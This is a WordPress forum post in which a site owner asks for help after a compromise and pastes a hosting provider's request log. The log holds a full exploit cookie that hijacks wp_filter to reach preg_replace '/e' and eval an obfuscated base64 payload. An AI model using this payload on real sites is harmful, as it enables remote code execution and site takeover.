regehr
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: help! wordpress exploitedIt could be the LP is blaming WP, but as an end user, I have no idea. They sent me gibberish that means nothing to me.
The site is https://democraticspace.com/blog
This is what they emailed me — if you have any thoughts, I’d be more grateful.
***
DOCUMENT_ROOT=/home/democ3/public_htmlHTTP_ACCEPT=*/*HTTP_COOKIE=wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=YXJnc1swXT1ldmFsKGJhc2U2NF9kZWNvZGUoY2hyKDk5KS5jaHIoNTEpLmNocigxMDgpLmNocigxMjIpLmNocigxMDApLmNocig3MSkuY2hyKDg2KS5jaHIoMTE2KS5jaHIoNzUpLmNocig2NykuY2hyKDc0KS5jaHIoMTA2KS5jaHIoOTApLmNocig2NykuY2hyKDY1KS5jaHIoMTE4KS5jaHIoMTAwKS5jaHIoNzEpLmNocig0OSkuY2hyKDExOSkuY2hyKDc5KS5jaHIoNTApLmNocig3OCkuY2hyKDQ5KS5jaHIoOTkpLmNocigxMDkpLmNocigxMTkpLmNocigxMDMpLmNocig3NikuY2hyKDg1KS5jaHIoNTYpLmNocigxMDMpLmNocig5NykuY2hyKDcyKS5jaHIoODIpLmNocig0OCkuY2hyKDk5KS5jaHIoNjgpLmNocigxMTEpLmNocigxMTgpLmNocig3NikuY2hyKDUxKS5jaHIoMTAwKS5jaHIoNTEpLmNocigxMDApLmNocigxMjEpLmNocig1MykuY2hyKDExMCkuY2hyKDkwKS5jaHIoODcpLmNocig1NykuY2hyKDEwNikuY2hyKDk3KS5jaHIoODgpLmNocig4MikuY2hyKDExMikuY2hyKDkwKS5jaHIoODgpLmNocig3NykuY2hyKDExNykuY2hyKDg5KS5jaHIoNTApLmNocig1NykuY2hyKDExNikuY2hyKDc2KS5jaHIoNTApLmNocig3NCkuY2hyKDEwNCkuY2hyKDg5KS5jaHIoMTEwKS5jaHIoMTA4KS5jaHIoMTE5KS5jaHIoODkpLmNocig4NykuY2hyKDQ5KS5jaHIoMTE4KS5jaHIoNzYpLmNocig1MCkuY2hyKDEwNCkuY2hyKDEwOCkuY2hyKDk3KS5jaHIoNzEpLmNocig4NSkuY2hyKDExNykuY2hyKDEwMCkuY2hyKDcyKS5jaHIoMTA0KS5jaHIoNDgpLmNocig3OSkuY2hyKDUxKS5jaHIoNjYpLmNocigxMDgpLmNocig5OSkuY2hyKDEwOSkuY2hyKDExOSkuY2hyKDEwMykuY2hyKDk3KS5jaHIoNzEpLmNocig4NikuY2hyKDExMSkuY2hyKDkwKS5jaHIoODMpLmNocig1MykuY2hyKDQ4KS5jaHIoMTAxKS5jaHIoNzIpLmNocig4MSkuY2hyKDU1KS5jaHIoOTkpLmNocigxMDkpLmNocig0OCkuY2hyKDEwMykuY2hyKDk3KS5jaHIoNzEpLmNocig4NikuY2hyKDExMSkuY2hyKDkwKS5jaHIoODMpLmNocig1MykuY2hyKDQ4KS5jaHIoMTAxKS5jaHIoNzIpLmNocig4MSkuY2hyKDEwNSkuY2hyKDc1KS5jaHIoODQpLmNocigxMTUpLmNocig2MSkuY2hyKDMyKSkpLmRpZSgpJmFyZ3NbMV09eA==;wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;HTTP_HOST=democraticspace.comHTTP_USER_AGENT=Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.1.4322)PATH=/bin:/usr/binREDIRECT_QUERY_STRING=year=2006&monthnum=01&name=jan-7-2006-election-update-conservatives-climbing&page=REDIRECT_STATUS=200REDIRECT_URL=/blog/2006/01/jan-7-2006-election-update-conservatives-climbing/REMOTE_ADDR=219.95.143.133REMOTE_PORT=47077SCRIPT_FILENAME=/home/democ3/public_html/blog/index.phpSERVER_ADDR=216.227.209.174SERVER_ADMIN=webmaster@democraticspace.comSERVER_NAME=www.democraticspace.comSERVER_PORT=80SERVER_SIGNATURE=<ADDRESS>Apache/1.3.34
Server at https://www.democraticspace.com Port 80</ADDRESS>
SERVER_SOFTWARE=Apache/1.3.34 (Unix) mod_auth_passthrough/1.8
mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.4.1 FrontPage/5.0.2.2635
mod_ssl/2.8.25
OpenSSL/0.9.7aGATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.0REQUEST_METHOD=GETQUERY_STRING=year=2006&monthnum=01&name=jan-7-2006-election-update-conservatives-climbing&page=REQUEST_URI=/blog/2006/01/jan-7-2006-election-update-conservatives-climbing/SCRIPT_NAME=/blog/index.phpPATH_TRANSLATED=/home/democ3/public_html/blog/index.php